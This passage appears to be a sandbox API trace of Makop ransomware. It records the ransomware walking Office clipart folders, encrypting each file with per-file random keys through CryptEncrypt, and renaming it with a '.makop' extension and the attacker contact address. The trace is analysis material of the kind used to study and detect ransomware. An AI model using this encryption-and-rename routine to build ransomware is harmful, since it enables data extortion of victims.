lpBuffer=0x6370020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x976, lpOverlapped=0x0) returned 1 [0155.621] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x980, dwBufLen=0x980 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x980) returned 1 [0155.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.621] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x980, lpOverlapped=0x0) returned 1 [0155.621] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.622] SetEndOfFile (hFile=0xf0) returned 1 [0155.653] GetProcessHeap () returned 0x48a0000 [0155.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0155.653] GetProcessHeap () returned 0x48a0000 [0155.654] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.654] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 107 [0155.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.656] CloseHandle (hObject=0xf0) returned 1 [0155.656] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1 [0155.656] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0155.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.658] GetProcessHeap () returned 0x48a0000 [0155.658] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.658] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0155.664] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.664] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.664] GetProcessHeap () returned 0x48a0000 [0155.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.664] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.664] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.665] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.665] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b03, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b03, lpOverlapped=0x0) returned 1 [0155.667] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10) returned 1 [0155.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.667] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b10, lpOverlapped=0x0) returned 1 [0155.667] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.667] SetEndOfFile (hFile=0xf0) returned 1 [0155.675] GetProcessHeap () returned 0x48a0000 [0155.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.675] GetProcessHeap () returned 0x48a0000 [0155.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.675] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.677] CloseHandle (hObject=0xf0) returned 1 [0155.677] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0 [0155.677] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0155.677] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0155.677] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned 51 [0155.678] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*") returned 55 [0155.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0155.680] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.680] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0155.680] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned 63 [0155.680] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*") returned 67 [0155.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0155.684] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.684] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0155.684] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned 76 [0155.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.686] GetProcessHeap () returned 0x48a0000 [0155.686] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.686] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.686] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0155.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.690] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.690] GetProcessHeap () returned 0x48a0000 [0155.690] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.690] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.690] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.691] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.691] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.691] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.691] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.692] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.692] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.692] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.692] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf77, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xf77, lpOverlapped=0x0) returned 1 [0155.692] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xf80, dwBufLen=0xf80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xf80) returned 1 [0155.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.693] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xf80, lpOverlapped=0x0) returned 1 [0155.693] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.693] SetEndOfFile (hFile=0x130) returned 1 [0155.700] GetProcessHeap () returned 0x48a0000 [0155.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.700] GetProcessHeap () returned 0x48a0000 [0155.701] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.701] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0155.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.702] CloseHandle (hObject=0x130) returned 1 [0155.703] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0155.703] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned 76 [0155.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0155.704] GetProcessHeap () returned 0x48a0000 [0155.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.704] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0155.704] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0155.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.708] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.708] GetProcessHeap () returned 0x48a0000 [0155.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.708] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0155.708] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.708] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0155.709] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0155.709] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0155.709] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0155.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0155.709] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0155.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0155.710] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.710] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2f, lpOverlapped=0x0) returned 1 [0155.710] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x30) returned 1 [0155.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.710] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0155.710] CryptDestroyKey (hKey=0x48c7168) returned 1 [0155.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.710] SetEndOfFile (hFile=0x130) returned 1 [0155.718] GetProcessHeap () returned 0x48a0000 [0155.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.718] GetProcessHeap () returned 0x48a0000 [0155.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.718] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 